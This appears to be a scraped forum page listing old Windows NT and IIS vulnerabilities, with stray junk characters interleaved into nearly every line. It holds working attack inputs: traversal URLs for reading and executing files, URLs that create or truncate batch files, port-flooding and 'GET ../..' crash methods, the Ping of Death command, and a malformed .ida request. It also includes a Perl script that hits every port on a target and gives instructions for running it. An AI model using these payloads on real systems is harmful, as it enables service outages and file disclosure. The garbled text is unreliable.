受影响系统:4.0,iis 1.0
1 D/ r# v3 `; JA URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.
/ ~5 u) q( M) a6 Y
8 D% E* }) j8 v% P2 uA URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.
* [, ?2 J% j5 p# S5 o0 m4 f, ]- T E( ~7 A) o. ]
By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.1 ~0 J6 {& |+ a+ F; b: b. i
5 }0 \. t0 J$ U/ a }! J& d8 J; j3 t--------------------------------------------------------------------( I& A4 A: d i" l& K
; c0 @/ M/ M/ ^' C
受影响系统:4.0/ X6 i6 V5 G8 L
A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.
: Y. ?) C( T2 p) A' v: w
, b; q/ f; m4 z3 g; L" e' l/ UIf the file 'target.bat' exists, the file will be truncated. B1 z; A1 l! o7 K$ }% V
3 C \4 X. Q X) l/ [3 y0 J9 r
D$ I9 m% b T5 |' X7 J* } l1 S
A URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''. c5 ~$ J8 H8 F, l
' b0 j; b: w. C3 A! c" u----------------------------------------------------------------------
! j. o, n; B. D3 b
+ G+ T9 E1 O& F9 \8 G. X; x受影响系统:3.51,4.0
8 s, g) g6 j/ u- i+ HMultiple service ports (53, 135, 1031) are vunerable to 'confusion'.+ R! x1 @$ C$ J
: W( I% O8 F0 ^/ V$ j/ _3 o$ G
The following steps;
6 E u" C. D2 s+ g2 d4 `& F% Y, C' R% l( M0 N
Telnet to an NT 4.0 system on port 135 / h9 t D( z: s: p* a
Type about 10 characters followed by a <CR> " E3 X0 i2 {) r7 M* Q8 S
Exit Telnet 6 i9 a9 v* x; B1 b( r5 D
results in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.
# d0 I# b4 j# O9 A+ W1 V2 H) b: i* i5 ]! L% C) X
When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.
. Q" E/ h$ t" _( N* b, G7 X
0 @8 Y/ Z: |$ ]3 bThe above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.: m' G8 |9 p& ]0 J% h) _" ~
; T9 k) U) }: H" B( _
If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.
0 u. \5 ^2 D0 \* Y$ }4 T* V P1 j5 Z0 |9 k: Q
The following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):# g, e. F6 v# B" g# A- p
" w% @( M3 q, `6 ]* [% [" I# i
/*begin poke code*/
* w( E0 c8 F& P: V% F/ N
! M% F" H# d `5 O0 wuse Socket; h2 l( g. J$ ~3 t" [1 n/ ?
use FileHandle;
2 F4 F7 g% T9 _0 Q) a' Hrequire "chat2.pl";2 t8 ~) k( O- F; @, N
; g* j4 L& k: P2 z
$systemname = $ARGV[0] && shift;
; Y' m( R2 k7 f; B4 F- W6 D7 s$ E% n5 c# A. Z
$verbose = 1; # tell me what you're hitting/ I6 ?! o2 w8 |
$knownports = 1; # don't hit known problem ports
- p1 M$ Q) V9 afor ($port = $0; $port<65535; $port++) $ t; z" U5 F# q$ s/ J; `
{
2 n' g8 G4 I9 j' o' ]$ Y0 r* T, Z% C0 {: `; I
& ^6 |& y" P7 j( q
if ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
) }& ~% B/ n/ p7 p( q( v3 T5 xnext;
8 _- R5 L. l3 B( ? o- @}. ?% r9 ?5 z/ _
$fh = chat::open_port($systemname, $port);# R# ? k+ i# |4 ^- U" x, K0 n* i3 |
chat::print ($fh,"This is about ten characters or more");9 f, I1 v6 `+ E% b( e0 u$ K
if ($verbose) {5 b% [- G5 Q0 U @% u" K% g
print "Trying port: $port\n";1 H& q+ u! E; b
} - w6 }9 A+ c# p2 P
chat::close($fh);
3 T! L9 w, {' P" @# j8 J
( }9 o9 _9 \: c% \9 f" O5 [% _}: O3 B' i4 y4 H- j3 h& J
- K3 e) u; O A' |6 L( V Q# A
! q/ U( a! s, w6 s7 W/*end poke code*/ X. W' I# j; F& V7 X4 ]. |3 w
* o R; a: D$ u( dSave the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername% y& c4 c! U9 F
$ n2 h! U" a9 K: }' d--------------------------------------------------------------------------------
% `% ?+ `' f7 }* J3 Z t* @! p2 V7 r& |4 r: @
受影响系统:4.0
3 l3 M6 x- K& H+ U3 \* iUsing a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.
# }9 j( z/ |6 p) [8 H
) c0 G, |" J1 Y+ |This attack causes Dr. Watson to display an alert window and to log an error: ) F; _: C" X: k. m0 }) T+ I
9 k8 Q/ z* L" v$ ?: g"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
) F! W3 `0 H' f$ O, q# k @5 S7 a5 i( ^1 P" z7 B3 {" }6 L" G1 A# ]5 @
--------------------------------------------------------------------------------
' ~ X N3 {/ q9 N5 C4 |* q. d W5 U
受影响系统:3.51,4.0
3 c% Z0 k; N/ A- p6 ILarge packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:
/ |9 g' b. s3 @% G9 A' s
/ V+ X5 M6 u* a# ?* BSTOP: 0X0000001E
: M8 _1 t* T# v1 g9 k" E6 mKMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
$ ] I/ ]7 {1 r! @9 E' u
: I% A: T I- F. g-OR-/ r/ ~ r8 H# u: r9 _. |
9 {8 ~* f& |$ F5 cSTOP: 0x0000000A
* q& g- u" S* s1 _IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
% `$ n8 L6 t3 \) C) M. J
5 a4 H2 Z% W& ?" z! l" LNT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.+ `6 U7 i1 D9 g$ O
3 z; B# c: Q3 l' O$ T& E
--------------------------------------------------------------------------------
& @ n6 ~2 v$ d% \9 {) U+ _; V) [. Z- a+ m- d' i
Microsoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
F2 E2 _1 Q( G5 m' {1 D# L$ Y0 {: E) s) S
--------------------------------------------------------
: I" G% T( B* d- h5 w5 b9 e* i
; i9 p3 ~# `) w1 x! lIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server |